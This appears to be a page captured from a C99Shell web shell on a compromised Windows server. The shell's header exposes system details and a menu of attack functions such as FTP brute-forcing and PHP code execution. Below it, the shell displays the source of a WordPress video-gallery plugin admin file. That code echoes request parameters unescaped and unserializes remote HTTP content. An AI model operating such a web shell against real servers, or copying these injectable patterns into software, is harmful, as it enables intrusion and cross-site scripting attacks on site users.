!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Users\DMZ\Desktop\cumbreclima\wp-content\plugins\gallery-video\admin\   drwxrwxrwx
Free 4.11 GB of 39.52 GB (10.39%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     video_gallery_view.php (38.15 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
if(function_exists('current_user_can'))
//if(!current_user_can('manage_options')) {
    
if(!current_user_can('delete_pages')) {
    die(
'Access Denied');
}    
if(!
function_exists('current_user_can')){
    die(
'Access Denied');
}

function 
html_showvideogallerys$rows,  $pageNav,$sort,$cat_row){
    global 
$wpdb;
    
?>
    <script language="javascript">
        function ordering(name,as_or_desc)
        {
            document.getElementById('asc_or_desc').value=as_or_desc;        
            document.getElementById('order_by').value=name;
            document.getElementById('admin_form').submit();
        }
        function saveorder()
        {
            document.getElementById('saveorder').value="save";
            document.getElementById('admin_form').submit();
            
        }
        function listItemTask(this_id,replace_id)
        {
            document.getElementById('oreder_move').value=this_id+","+replace_id;
            document.getElementById('admin_form').submit();
        }
        function doNothing() {  
            var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
            if( keyCode == 13 ) {


                if(!e) var e = window.event;

                e.cancelBubble = true;
                e.returnValue = false;

                if (e.stopPropagation) {
                        e.stopPropagation();
                        e.preventDefault();
                }
            }
        }
    </script>

<div class="wrap">
    <?php $path_site2 plugins_url("../images"__FILE__); ?>
    <div class="slider-options-head">
        <div style="float: left;">
            <div><a href="http://huge-it.com/wordpress-plugins-video-gallery-user-manual/" target="_blank">User Manual</a></div>
            <div>This section allows you to configure the Video Gallery options. <a href="http://huge-it.com/wordpress-plugins-video-gallery-user-manual/" target="_blank">More...</a></div>
        </div>
        <div style="float: right;">
            <a class="header-logo-text" href="http://huge-it.com/video-gallery/" target="_blank">
                <div><img width="250px" src="<?php echo $path_site2?>/huge-it1.png" /></div>
                <div>Get the full version</div>
            </a>
        </div>
    </div>
    <div style="clear: both;"></div>
    <div id="poststuff">
        <div id="videogallerys-list-page">
            <form method="post"  onkeypress="doNothing()" action="admin.php?page=videogallerys_huge_it_videogallery" id="admin_form" name="admin_form">
            <h2>Huge-IT Video Galleries
                <a onclick="window.location.href='admin.php?page=videogallerys_huge_it_videogallery&task=add_cat'" class="add-new-h2" >Add New Video Gallery</a>
            </h2>
            <?php
            $serch_value
='';
            if(isset(
$_POST['serch_or_not'])) {
                
$_POST['serch_or_not'] = esc_html($_POST['serch_or_not']);
                if(
$_POST['serch_or_not']=="search"){ $serch_value=esc_html(stripslashes($_POST['search_events_by_title'])); }else{$serch_value="";}} 
            
$serch_fields='<div class="alignleft actions"">
                <label for="search_events_by_title" style="font-size:14px">Filter: </label>
                    <input type="text" name="search_events_by_title" value="'
.$serch_value.'" id="search_events_by_title" onchange="clear_serch_texts()">
            </div>
            <div class="alignleft actions">
                <input type="button" value="Search" onclick="document.getElementById(\'page_number\').value=\'1\'; document.getElementById(\'serch_or_not\').value=\'search\';
                 document.getElementById(\'admin_form\').submit();" class="button-secondary action">
                 <input type="button" value="Reset" onclick="window.location.href=\'admin.php?page=videogallerys_huge_it_videogallery\'" class="button-secondary action">
            </div>'
;

            
            
?>
            <table class="wp-list-table widefat fixed pages" style="width:95%">
                <thead>
                 <tr>
                    <th scope="col" id="id" style="width:30px" ><span>ID</span><span class="sorting-indicator"></span></th>
                    <th scope="col" id="name" style="width:85px" ><span>Name</span><span class="sorting-indicator"></span></th>
                    <th scope="col" id="prod_count"  style="width:75px;" ><span>Images</span><span class="sorting-indicator"></span></th>
                    <th style="width:40px">Delete</th>
                 </tr>
                </thead>
                <tbody>
                 <?php 
                 $trcount
=1;
                  for(
$i=0$i<count($rows);$i++){
                    
$trcount++;
                    
$ka0=0;
                    
$ka1=0;
                    if(isset(
$rows[$i-1]->id)){
                          if(
$rows[$i]->sl_width==$rows[$i-1]->sl_width){
                          
$x1=$rows[$i]->id;
                          
$x2=$rows[$i-1]->id;
                          
$ka0=1;
                          }
                          else
                          {
                              
$jj=2;
                              while(isset(
$rows[$i-$jj]))
                              {
                                  if(
$rows[$i]->sl_width==$rows[$i-$jj]->sl_width)
                                  {
                                      
$ka0=1;
                                      
$x1=$rows[$i]->id;
                                      
$x2=$rows[$i-$jj]->id;
                                       break;
                                  }
                                
$jj++;
                              }
                          }
                          if(
$ka0){
                            
$move_up='<span><a href="#reorder" onclick="return listItemTask(\''.$x1.'\',\''.$x2.'\')" title="Move Up">   <img src="'.plugins_url('images/uparrow.png',__FILE__).'" width="16" height="16" border="0" alt="Move Up"></a></span>';
                          }
                          else{
                            
$move_up="";
                          }
                    }else{
$move_up="";}
                    
                    
                    if(isset(
$rows[$i+1]->id)){
                        
                        if(
$rows[$i]->sl_width==$rows[$i+1]->sl_width){
                          
$x1=$rows[$i]->id;
                          
$x2=$rows[$i+1]->id;
                          
$ka1=1;
                        }
                        else
                        {
                              
$jj=2;
                              while(isset(
$rows[$i+$jj]))
                              {
                                  if(
$rows[$i]->sl_width==$rows[$i+$jj]->sl_width)
                                  {
                                      
$ka1=1;
                                      
$x1=$rows[$i]->id;
                                      
$x2=$rows[$i+$jj]->id;
                                      break;
                                  }
                                
$jj++;
                              }
                        }
                        
                        if(
$ka1){
                            
$move_down='<span><a href="#reorder" onclick="return listItemTask(\''.$x1.'\',\''$x2.'\')" title="Move Down">  <img src="'.plugins_url('images/downarrow.png',__FILE__).'" width="16" height="16" border="0" alt="Move Down"></a></span>';
                        }else{
                            
$move_down="";    
                        }
                    }

                    
$uncat=$rows[$i]->par_name;
                    if(isset(
$rows[$i]->prod_count))
                        
$pr_count=$rows[$i]->prod_count;
                    else
                        
$pr_count=0;


                    
?>
                    <tr <?php if($trcount%2==0){ echo 'class="has-background"';}?>>
                        <td><?php echo $rows[$i]->id?></td>
                        <td><a  href="admin.php?page=videogallerys_huge_it_videogallery&task=edit_cat&id=<?php echo $rows[$i]->id?>"><?php echo esc_html(stripslashes($rows[$i]->name)); ?></a></td>
                        <td>(<?php if(!($pr_count)){echo '0';} else{ echo $rows[$i]->prod_count;} ?>)</td>
                        <td><a  href="admin.php?page=videogallerys_huge_it_videogallery&task=remove_cat&id=<?php echo $rows[$i]->id?>">Delete</a></td>
                    </tr> 
                 <?php ?>
                </tbody>
            </table>
             <input type="hidden" name="oreder_move" id="oreder_move" value="" />
             <input type="hidden" name="asc_or_desc" id="asc_or_desc" value="<?php if(isset($_POST['asc_or_desc'])){
            
$_POST['asc_or_desc'] = esc_html($_POST['asc_or_desc']);
             echo 
$_POST['asc_or_desc']; } ?>"  />
             <input type="hidden" name="order_by" id="order_by" value="<?php if(isset($_POST['order_by'])) echo $_POST['order_by'];?>"  />
             <input type="hidden" name="saveorder" id="saveorder" value="" />

             <?php
            ?>
            
            
           
            </form>
        </div>
    </div>
</div>
    <?php

}
function 
Html_editvideogallery($ord_elem$count_ord,$images,$row,$cat_row$rowim$rowsld$rowsposts$rowsposts8$postsbycat)

{
 global 
$wpdb;
    
    if(isset(
$_GET["addslide"])){
    if(
$_GET["addslide"] == 1){
    
header('Location: admin.php?page=videogallerys_huge_it_videogallery&id='.$row->id.'&task=apply');
    }
    }
        
    
?>
<script type="text/javascript">
function submitbutton(pressbutton) 
{
    if(!document.getElementById('name').value){
    alert("Name is required.");
    return;
    
    }
    
    document.getElementById("adminForm").action=document.getElementById("adminForm").action+"&task="+pressbutton;
    document.getElementById("adminForm").submit();
    
}
var  name_changeRight = function(e) {
    document.getElementById("name").value = e.value;
}
var  name_changeTop = function(e) {
        document.getElementById("huge_it_videogallery_name").value = e.value;
        //alert(e);
    };
function change_select()
{
        submitbutton('apply'); 
    
}
jQuery(function() {

    jQuery('.def_thumb').on('click',(function (){
        jQuery(this).parents('li').find('.image-container input+input').val('');
        submitbutton('apply');
    }))
    ;


    
    jQuery( "#images-list" ).sortable({
      stop: function() {
            jQuery("#images-list > li").removeClass('has-background');
            count=jQuery("#images-list > li").length;
            for(var i=0;i<=count;i+=2){
                    jQuery("#images-list > li").eq(i).addClass("has-background");
            }
            jQuery("#images-list > li").each(function(){
                jQuery(this).find('.order_by').val(jQuery(this).index());
            });
      },
      revert: true
    });
   // jQuery( "ul, li" ).disableSelection();
    });
</script>

<!-- GENERAL PAGE, ADD IMAGES PAGE -->

<div class="wrap">
<?php $path_site2 plugins_url("../images"__FILE__); ?>
    <div class="slider-options-head">
        <div style="float: left;">
            <div><a href="http://huge-it.com/wordpress-plugins-video-gallery-user-manual/" target="_blank">User Manual</a></div>
            <div>This section allows you to configure the Video Gallery options. <a href="http://huge-it.com/wordpress-plugins-video-gallery-user-manual/" target="_blank">More...</a></div>
        </div>
        <div style="float: right;">
            <a class="header-logo-text" href="http://huge-it.com/video-gallery/" target="_blank">
                <div><img width="250px" src="<?php echo $path_site2?>/huge-it1.png" /></div>
                <div>Get the full version</div>
            </a>
        </div>
    </div>
    <div style="clear: both;"></div>
<form action="admin.php?page=videogallerys_huge_it_videogallery&id=<?php echo $row->id?>" method="post" name="adminForm" id="adminForm">

    <div id="poststuff" >
    <div id="videogallery-header">
        <ul id="videogallerys-list">
            
            <?php
            
foreach($rowsld as $rowsldires){
                if(
$rowsldires->id != $row->id){
                
?>
                    <li>
                        <a href="#" onclick="window.location.href='admin.php?page=videogallerys_huge_it_videogallery&task=edit_cat&id=<?php echo $rowsldires->id?>'" ><?php echo $rowsldires->name?></a>
                    </li>
                <?php
                
}
                else{ 
?>
                    <li class="active" onclick='document.getElementById("name").style.width = ((document.getElementById("name").value.length + 1) * 8) + "px"' style="background-image:url(<?php echo plugins_url('../images/edit.png'__FILE__) ;?>)">
                        <input class="text_area" onfocus="this.style.width = ((this.value.length + 1) * 8) + 'px'" onkeyup="name_changeTop(this)" type="text" name="name" id="name" maxlength="250" value="<?php echo esc_html(stripslashes($row->name));?>" />
                    </li>
                <?php    
                
}
            }
        
?>
            <li class="add-new">
                <a onclick="window.location.href='admin.php?page=videogallerys_huge_it_videogallery&amp;task=add_cat'">+</a>
            </li>
        </ul>
        </div>
        <div id="post-body" class="metabox-holder columns-2">
            <!-- Content -->
            <div id="post-body-content">


            <?php add_thickbox(); ?>

                <div id="post-body">
                    <div id="post-body-heading">
                        <h3>Projects/Videos</h3>            
                        <?php $_GET['id'] = esc_html($_GET['id']); ?>
                        <a href="admin.php?page=videogallerys_huge_it_videogallery&task=videogallery_video&id=<?php echo $_GET['id']; ?>&TB_iframe=1" class="button button-primary add-video-slide thickbox"  id="slideup3s" value="iframepop">
                            <span class="wp-media-buttons-icon"></span>Add Video 
                        </a>
                    </div>
                    <ul id="images-list">
                    <?php
                    
                    
function get_youtube_id_from_url($url){                        
                        if (
preg_match('%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i'$url$match)) {
                            return 
$match[1];
                        }
                    }
                    
                    
$i=2;
                    foreach (
$rowim as $key=>$rowimages){ ?>
                    <?php if($rowimages->sl_type == ''){$rowimages->sl_type 'image';}
                    switch(
$rowimages->sl_type){
                    case 
'video':
                        
?>
                            
                            <li <?php if($i%2==0){echo "class='has-background'";}$i++; ?>  >
                            <input class="order_by" type="hidden" name="order_by_<?php echo $rowimages->id?>" value="<?php echo $rowimages->ordering?>" />
                                <?php if(empty($rowimages->thumb_url)){
                                    if(
strpos($rowimages->image_url,'youtube') !== false || strpos($rowimages->image_url,'youtu') !== false) {
                                            
$liclass="youtube";
                                            
$video_thumb_url=get_youtube_id_from_url($rowimages->image_url);
                                            
$thumburl='<img src="http://img.youtube.com/vi/'.$video_thumb_url.'/mqdefault.jpg" alt="" />';
                                        }else if (
strpos($rowimages->image_url,'vimeo') !== false) {    
                                            
$liclass="vimeo";
                                            
$vimeo $rowimages->image_url;
                                            
$imgid =  explode"/"$vimeo );
                                            
$imgid =  end($imgid);
                                            
$hash unserialize(file_get_contents("http://vimeo.com/api/v2/video/".$imgid.".php"));
                                            
$imgsrc=$hash[0]['thumbnail_large'];
                                            
$imgsrc=esc_html($imgsrc);
                                            
$thumburl ='<img src="'.$imgsrc.'" alt="" />';
                                        }
                                    }else{
                                    if(
strpos($rowimages->image_url,'youtube') !== false || strpos($rowimages->image_url,'youtu') !== false) {
                                        
$liclass="youtube";
                                    }else if (
strpos($rowimages->image_url,'vimeo') !== false) {    
                                        
$liclass="vimeo";
                                    }
                                    
$thumburl='<img src="'.$rowimages->thumb_url.'" alt="" />';
                                }
                                        
?> 
                                    <div class="image-container">    
                                        <?php echo $thumburl?>
                                        <div class="play-icon <?php echo $liclass?>"></div>
                                        
                                        <div>
                                            <script>
jQuery(document).ready(function($){
  var _custom_media = true,
      _orig_send_attachment = wp.media.editor.send.attachment;

  jQuery('.huge-it-editnewuploader .button<?php echo $rowimages->id?>').click(function(e) {
    var send_attachment_bkp = wp.media.editor.send.attachment;
    var button = jQuery(this);
    var id = button.attr('id').replace('_button', '');
    _custom_media = true;
    wp.media.editor.send.attachment = function(props, attachment){
      if ( _custom_media ) {
        jQuery("#"+id).val(attachment.url);
        jQuery("#save-buttom").click();
      } else {
        return _orig_send_attachment.apply( this, [props, attachment] );
      };
    }

    wp.media.editor.open(button);
    return false;
  });











  jQuery('.add_media').on('click', function(){
    _custom_media = false;
  });
    jQuery(".huge-it-editnewuploader").click(function() {
    });
        jQuery(".wp-media-buttons-icon").click(function() {
        jQuery(".wp-media-buttons-icon").click(function() {
        jQuery(".media-menu .media-menu-item").css("display","none");
        jQuery(".media-menu-item:first").css("display","block");
        jQuery(".separator").next().css("display","none");
        jQuery('.attachment-filters').val('image').trigger('change');
        jQuery(".attachment-filters").css("display","none");

    });
});
        jQuery("input[name='thumb_id_button<?php echo $rowimages->id?>']").each(function(){
            
            jQuery(this).hover(function(){
                
                      jQuery(this).clearQueue().animate({
                            width: "170px", 
                            color:"rgba(0,0,0,1)"
                      }, 200);
                
                
                  
                  
            },
                                function(){
                jQuery(this).animate({
                    width: "20px", 
                    color:"rgba(0,0,0,0)"   
                 }, 200);
                 
                 
            })
            
        })
});
</script>
                                            <input type="hidden" name="imagess<?php echo $rowimages->id?>" value="<?php echo $rowimages->image_url?>" />
                                            <input type="hidden" name="thumbs<?php echo $rowimages->id?>" id="thumb_id<?php echo $rowimages->id?>" value="<?php echo $rowimages->thumb_url?>" />
                                        <div class="huge-it-editnewuploader uploader button<?php echo $rowimages->id?> add-new-image">
                                                <input type="button" class="editimgbutton button<?php echo $rowimages->id?> wp-media-buttons-icon" name="thumb_id_button<?php echo $rowimages->id?>" id="thumb_id_button<?php echo $rowimages->id?>" value="Set Custom Thumbnail" />
                                            </div>
                                            
                                        </div>
                                        <div class="button def_thumb">
                                                Set Default Thumbnail
                                        </div>
                                    </div>
                                    <div class="image-options">
                                <div>
                                    <label for="titleimage<?php echo $rowimages->id?>">Title:</label>
                                    <input  class="text_area" type="text" id="titleimage<?php echo $rowimages->id?>" name="titleimage<?php echo $rowimages->id?>" id="titleimage<?php echo $rowimages->id?>"  value="<?php echo $rowimages->name?>">
                                </div>
                                <div class="description-block">
                                    <label for="im_description<?php echo $rowimages->id?>">Description:</label>
                                    <textarea id="im_description<?php echo $rowimages->id?>" name="im_description<?php echo $rowimages->id?>" ><?php echo $rowimages->description?></textarea>
                                </div>
                                <div class="link-block">
                                    <label for="sl_url<?php echo $rowimages->id?>">URL:</label>
                                    <input class="text_area url-input" type="text" id="sl_url<?php echo $rowimages->id?>" name="sl_url<?php echo $rowimages->id?>"  value="<?php echo $rowimages->sl_url?>" >
                                    <label class="long" for="sl_link_target<?php echo $rowimages->id?>">
                                        <span>Open in new tab</span>
                                        <input type="hidden" name="sl_link_target<?php echo $rowimages->id?>" value="" />
                                        <input  <?php if($rowimages->link_target == 'on'){ echo 'checked="checked"'; } ?>  class="link_target" type="checkbox" id="sl_link_target<?php echo $rowimages->id?>" name="sl_link_target<?php echo $rowimages->id?>" />
                                    </label>
                                    
                                    
                            
                                </div>
                                <div class="remove-image-container">
                                    <a class="button remove-image" href="admin.php?page=videogallerys_huge_it_videogallery&task=edit_cat&id=<?php echo $row->id?>&removeslide=<?php echo $rowimages->id?>">Remove Video</a>
                                </div>
                            </div>
                            <div class="clear"></div>
                            </li>
                    <?php 
                        
break;
                        } 
?>
                    <?php ?>
                    </ul>
                </div>

            </div>
                
            <!-- SIDEBAR -->
            <div id="postbox-container-1" class="postbox-container">
                <div id="side-sortables" class="meta-box-sortables ui-sortable">
                    <div id="videogallery-unique-options" class="postbox">
                    <h3 class="hndle"><span>Video Gallery Custom Options</span></h3>
                    <ul id="videogallery-unique-options-list">
                        <li>
                            <label for="huge_it_videogallery_name">Gallery Name</label>
                            <input type = "text" name="name" id="huge_it_videogallery_name" value="<?php echo esc_html(stripslashes($row->name));?>" onkeyup = "name_changeRight(this)">
                        </li>
                        <li>
                            <label for="huge_it_sl_effects">Views</label>
                            <select name="huge_it_sl_effects" id="huge_it_sl_effects">
                                    <option <?php if($row->huge_it_sl_effects == '0'){ echo 'selected'; } ?>  value="0">Video Gallery/Content-Popup</option>
                                    <option <?php if($row->huge_it_sl_effects == '1'){ echo 'selected'; } ?>  value="1">Content Video Slider</option>
                                    <option <?php if($row->huge_it_sl_effects == '5'){ echo 'selected'; } ?>  value="5">Lightbox-Video Gallery</option>
                                    <option <?php if($row->huge_it_sl_effects == '3'){ echo 'selected'; } ?>  value="3">Video Slider</option>
                                    <option <?php if($row->huge_it_sl_effects == '4'){ echo 'selected'; } ?>  value="4">Thumbnails View</option>
                                    <option <?php if($row->huge_it_sl_effects == '6'){ echo 'selected'; } ?>  value="6">Justified</option>
                                    <option <?php if($row->huge_it_sl_effects == '7'){ echo 'selected'; } ?>  value="7">Blog Style Gallery</option>
                            </select>
                        </li>
                        <script>
                        jQuery(document).ready(function ($){
                            //alert('hi');
                            //$('div[id^="list_"]')
                                if($('select[name="display_type"]').val()== 2){
                                $('li[id="content_per_page"]').hide();
                            }else{
                                $('li[id="content_per_page"]').show();
                            }
                            $('select[name="display_type"]').on('change' ,function(){
                                if($(this).val()== 2){
                                $('li[id="content_per_page"]').hide();
                            }else{
                                $('li[id="content_per_page"]').show();
                            }
                            })
                            

                            $('#videogallery-unique-options').on('change',function(){
                                $( 'div[id^="videogallery-current-options"]').each(function(){
                                if(!$(this).hasClass( "active" )){
                                    $(this).find('ul li input[name="content_per_page"]').attr('name', '');
                                    $(this).find('ul li select[name="display_type"]').attr('name', '');
                                    //$(this).find('ul li select').attr('name', '');
                                }else{
                                    //alert('no');
                                }
                            })
                            })
                            
                        })
                    </script>
                        <div id="videogallery-current-options-0" class="videogallery-current-options <?php if($row->huge_it_sl_effects == 0){ echo ' active'; }  ?>">
                        <ul id="view4">
                            <?php //print_r($row);?>
                            <?php //var_dump($row->display_type);?>
                              <li>
                                <label for="display_type">Displaying Content</label>
                                <select id="display_type" name="display_type">

                                      <option <?php if($row->display_type == 0){ echo 'selected'; } ?>  value="0">Pagination</option>
                                        <option <?php if($row->display_type == 1){ echo 'selected'; } ?>   value="1">Load More</option>
                                        <option <?php if($row->display_type == 2){ echo 'selected'; } ?>   value="2">Show All</option>
                            
                                </select>
                                </li>
                            <li id="content_per_page">
                                <label for="content_per_page">Videos Per Page</label>
                                <input type="text" name="content_per_page" id="content_per_page" value="<?php echo $row->content_per_page?>" class="text_area" />
                            </li>
                            

                        
                        </ul>
                    </div>    
                    <div id="videogallery-current-options-3" class="videogallery-current-options <?php if($row->huge_it_sl_effects == 3){ echo ' active'; }  ?>">
                    <ul id="slider-unique-options-list">
                        <li>
                            <label for="sl_width">Width</label>
                            <input type="text" name="sl_width" id="sl_width" value="<?php echo $row->sl_width?>" class="text_area" />
                        </li>
                        <li>
                            <label for="sl_height">Height</label>
                            <input type="text" name="sl_height" id="sl_height" value="<?php echo $row->sl_height?>" class="text_area" />
                        </li>
                        <li>
                            <label for="pause_on_hover">Pause on hover</label>
                            <input type="hidden" value="off" name="pause_on_hover" />                    
                            <input type="checkbox" name="pause_on_hover"  value="on" id="pause_on_hover"  <?php if($row->pause_on_hover  == 'on'){ echo 'checked="checked"'; } ?> />
                        </li>
                        <li>
                            <label for="videogallery_list_effects_s">Effects</label>
                            <select name="videogallery_list_effects_s" id="videogallery_list_effects_s">
                                    <option <?php if($row->videogallery_list_effects_s == 'none'){ echo 'selected'; } ?>  value="none">None</option>
                                    <option <?php if($row->videogallery_list_effects_s == 'cubeH'){ echo 'selected'; } ?>   value="cubeH">Cube Horizontal</option>
                                    <option <?php if($row->videogallery_list_effects_s == 'cubeV'){ echo 'selected'; } ?>  value="cubeV">Cube Vertical</option>
                                    <option <?php if($row->videogallery_list_effects_s == 'fade'){ echo 'selected'; } ?>  value="fade">Fade</option>
                            </select>
                        </li>

                        <li>
                            <label for="sl_pausetime">Pause time</label>
                            <input type="text" name="sl_pausetime" id="sl_pausetime" value="<?php echo $row->description?>" class="text_area" />
                        </li>
                        <li>
                            <label for="sl_changespeed">Change speed</label>
                            <input type="text" name="sl_changespeed" id="sl_changespeed" value="<?php echo $row->param?>" class="text_area" />
                        </li>
                        <li>
                            <label for="slider_position">Slider Position</label>
                            <select name="sl_position" id="slider_position">
                                    <option <?php if($row->sl_position == 'left'){ echo 'selected'; } ?>  value="left">Left</option>
                                    <option <?php if($row->sl_position == 'right'){ echo 'selected'; } ?>   value="right">Right</option>
                                    <option <?php if($row->sl_position == 'center'){ echo 'selected'; } ?>  value="center">Center</option>
                            </select>
                        </li>
                    </ul>
                    </div>
                    <div id="videogallery-current-options-4" class="videogallery-current-options <?php if($row->huge_it_sl_effects == 4){ echo ' active'; }  ?>">
                        <ul id="view4">
                            <?php //print_r($row);?>
                            <?php //var_dump($row->display_type);?>
                              <li>
                                <label for="display_type">Displaying Content</label>
                                <select id="display_type" name="display_type">

                                      <option <?php if($row->display_type == 0){ echo 'selected'; } ?>  value="0">Pagination</option>
                                        <option <?php if($row->display_type == 1){ echo 'selected'; } ?>   value="1">Load More</option>
                                        <option <?php if($row->display_type == 2){ echo 'selected'; } ?>   value="2">Show All</option>
                            
                                </select>
                                </li>
                            <li id="content_per_page">
                                <label for="content_per_page">Videos Per Page</label>
                                <input type="text" name="content_per_page" id="content_per_page" value="<?php echo $row->content_per_page?>" class="text_area" />
                            </li>
                            

                        
                        </ul>
                    </div>
                    <div id="videogallery-current-options-5" class="videogallery-current-options <?php if($row->huge_it_sl_effects == 5){ echo ' active'; }  ?>">
                        <ul id="view4">
                            <?php //print_r($row);?>
                            <?php //var_dump($row->display_type);?>
                              <li>
                                <label for="display_type">Displaying Content</label>
                                <select id="display_type" name="display_type">

                                      <option <?php if($row->display_type == 0){ echo 'selected'; } ?>  value="0">Pagination</option>
                                        <option <?php if($row->display_type == 1){ echo 'selected'; } ?>   value="1">Load More</option>
                                        <option <?php if($row->display_type == 2){ echo 'selected'; } ?>   value="2">Show All</option>
                            
                                </select>
                                </li>
                            <li id="content_per_page">
                                <label for="content_per_page">Videos Per Page</label>
                                <input type="text" name="content_per_page" id="content_per_page" value="<?php echo $row->content_per_page?>" class="text_area" />
                            </li>
                            

                        
                        </ul>
                    </div>
                    <div id="videogallery-current-options-6" class="videogallery-current-options <?php if($row->huge_it_sl_effects == 6){ echo ' active'; }  ?>">
                        <ul id="view4">
                            <?php //print_r($row);?>
                            <?php //var_dump($row->display_type);?>
                              <li>
                                <label for="display_type">Displaying Content</label>
                                <select id="display_type" name="display_type">

                                      <option <?php if($row->display_type == 0){ echo 'selected'; } ?>  value="0">Pagination</option>
                                        <option <?php if($row->display_type == 1){ echo 'selected'; } ?>   value="1">Load More</option>
                                        <option <?php if($row->display_type == 2){ echo 'selected'; } ?>   value="2">Show All</option>
                            
                                </select>
                                </li>
                            <li id="content_per_page">
                                <label for="content_per_page">Videos Per Page</label>
                                <input type="text" name="content_per_page" id="content_per_page" value="<?php echo $row->content_per_page?>" class="text_area" />
                            </li>
                            

                        
                        </ul>
                    </div>
                    <div id="videogallery-current-options-7" class="videogallery-current-options <?php if($row->huge_it_sl_effects == 7){ echo ' active'; }  ?>">
                    <ul id="view7">
                        
                          <li>
                            <label for="display_type">Displaying Content</label>
                            <select id="display_type" name="display_type">

                                  <option <?php if($row->display_type == 0){ echo 'selected'; } ?>  value="0">Pagination</option>
                                    <option <?php if($row->display_type == 1){ echo 'selected'; } ?>   value="1">Load More</option>
                                    <option <?php if($row->display_type == 2){ echo 'selected'; } ?>   value="2">Show All</option>
                        
                            </select>
                            </li>
                        <li id="content_per_page">
                            <label for="content_per_page">Videos Per Page</label>
                            <input type="text" name="content_per_page" id="content_per_page" value="<?php echo $row->content_per_page?>" class="text_area" />
                        </li>
                        

                    
                    </ul>
                    </div>


                    </ul>
                        <div id="major-publishing-actions">
                            <div id="publishing-action">
                                <input type="button" onclick="submitbutton('apply')" value="Save Video Gallery" id="save-buttom" class="button button-primary button-large">
                            </div>
                            <div class="clear"></div>
                            <!--<input type="button" onclick="window.location.href='admin.php?page=videogallerys_huge_it_videogallery'" value="Cancel" class="button-secondary action">-->
                        </div>
                    </div>
                    <div id="videogallery-shortcode-box" class="postbox shortcode ms-toggle">
                    <h3 class="hndle"><span>Usage</span></h3>
                    <div class="inside">
                        <ul>
                            <li rel="tab-1" class="selected">
                                <h4>Shortcode</h4>
                                <p>Copy &amp; paste the shortcode directly into any WordPress post or page.</p>
                                <textarea class="full" readonly="readonly">[huge_it_videogallery id="<?php echo $row->id?>"]</textarea>
                            </li>
                            <li rel="tab-2">
                                <h4>Template Include</h4>
                                <p>Copy &amp; paste this code into a template file to include the slideshow within your theme.</p>
                                <textarea class="full" readonly="readonly">&lt;?php echo do_shortcode("[huge_it_videogallery id='<?php echo $row->id?>']"); ?&gt;</textarea>
                            </li>
                        </ul>
                    </div>
                </div>
                </div>
            </div>
        </div>
    </div>
    <input type="hidden" name="task" value="" />
</form>
</div>

<?php

}


function 
html_popup_posts($ord_elem$count_ord,$images,$row,$cat_row$rowim$rowsld$paramssld$rowsposts$rowsposts8$postsbycat){
    global 
$wpdb;

?>
            <style>
                html.wp-toolbar {
                    padding:0px !important;
                }
                #wpadminbar,#adminmenuback,#screen-meta, .update-nag,#dolly {
                    display:none;
                }
                #wpbody-content {
                    padding-bottom:30px;
                }
                #adminmenuwrap {display:none !important;}
                .auto-fold #wpcontent, .auto-fold #wpfooter {
                    margin-left: 0px;
                }
                #wpfooter {display:none;}
            </style>
            <script type="text/javascript">
                jQuery(document).ready(function() {

                    jQuery('.huge-it-insert-post-button').on('click', function() {
                        var ID1 = jQuery('#huge-it-add-posts-params').val();
                        if(ID1==""){alert("Please select images to insert into videogallery.");return false;}
                        
                        window.parent.uploadID.val(ID1);
                        
                        tb_remove();
                        jQuery("#save-buttom").click();
                        
                    });
                        
                    jQuery('.huge-it-post-checked').change(function(){
                        if(jQuery(this).is(':checked')){
                            jQuery(this).addClass('active');
                            jQuery(this).parent().addClass('active');
                        }else {
                            jQuery(this).removeClass('active');
                            jQuery(this).parent().removeClass('active');
                        }
                        
                        var inputval="";
                        jQuery('#huge-it-add-posts-params').val("");
                        jQuery('.huge-it-post-checked').each(function(){
                            if(jQuery(this).is(':checked')){
                                inputval+=jQuery(this).val()+";";
                            }
                        });
                        jQuery('#huge-it-add-posts-params').val(inputval);
                    });
    
                    
                    jQuery("#huge-it-categories-list").change(function(){
                        var currentCategoryID=jQuery(this).val();
                    
                        jQuery('#huge-it-posts-list li').not("#huge-it-posts-list-heading").css({"display":"none"});
                        jQuery('li[data-id*="'+currentCategoryID+'"]').css({"display":"block"});
                        
                    });
                    //jQuery("#huge-it-categories-list").change();
                                        
                    jQuery('#huge_it_videogallery_add_posts_wrap .view-type-block a').click(function(){
                        jQuery('#huge_it_videogallery_add_posts_wrap .view-type-block a').removeClass('active');
                        jQuery(this).addClass('active');
                        var strtype=jQuery(this).attr('href').replace('#','');
                        jQuery('#huge-it-posts-list').removeClass('list').removeClass('thumbs');
                        jQuery('#huge-it-posts-list').addClass(strtype);
                        return false;
                    });
                    
                    
                    jQuery('.updated').css({"display":"none"});
                <?php    if($_GET["closepop"] == 1){ ?>
                    jQuery("#closepopup").click();
                    self.parent.location.reload();
                <?php    ?>
                });
                
            </script>
            <a id="closepopup"  onclick=" parent.eval('tb_remove()')" style="display:none;" > [X] </a>
    
    
    <div id="huge_it_videogallery_add_posts">
                    <div id="huge_it_videogallery_add_posts_wrap">
                        <h2>Add post</h2>
                        <div class="control-panel">
                        <form method="post"  onkeypress="doNothing()" action="admin.php?page=videogallerys_huge_it_videogallery&task=popup_posts&id=<?php echo $_GET['id']; ?>" id="huge-it-category-form" name="admin_form">
                            <label for="huge-it-categories-list">Select Category <select id="huge-it-categories-list" name="iframecatid" onchange="this.form.submit()">

                             <?php $categories get_categories(  ); ?>

                            <?php     foreach ($categories as $strcategories){
                            if(isset(
$_POST["iframecatid"])){
?>
                                 <option value="<?php echo $strcategories->cat_ID?><?php if($strcategories->cat_ID == $_POST["iframecatid"]){echo 'selected="selected"';} ?>><?php echo $strcategories->cat_name?></option>';
                                
                            <?php    }
else
{
?>
                                <option value="<?php echo $strcategories->cat_ID?>"><?php echo $strcategories->cat_name?></option>';
<?php
}                            }
                            
?> 
                            </select></label>
                            </form>
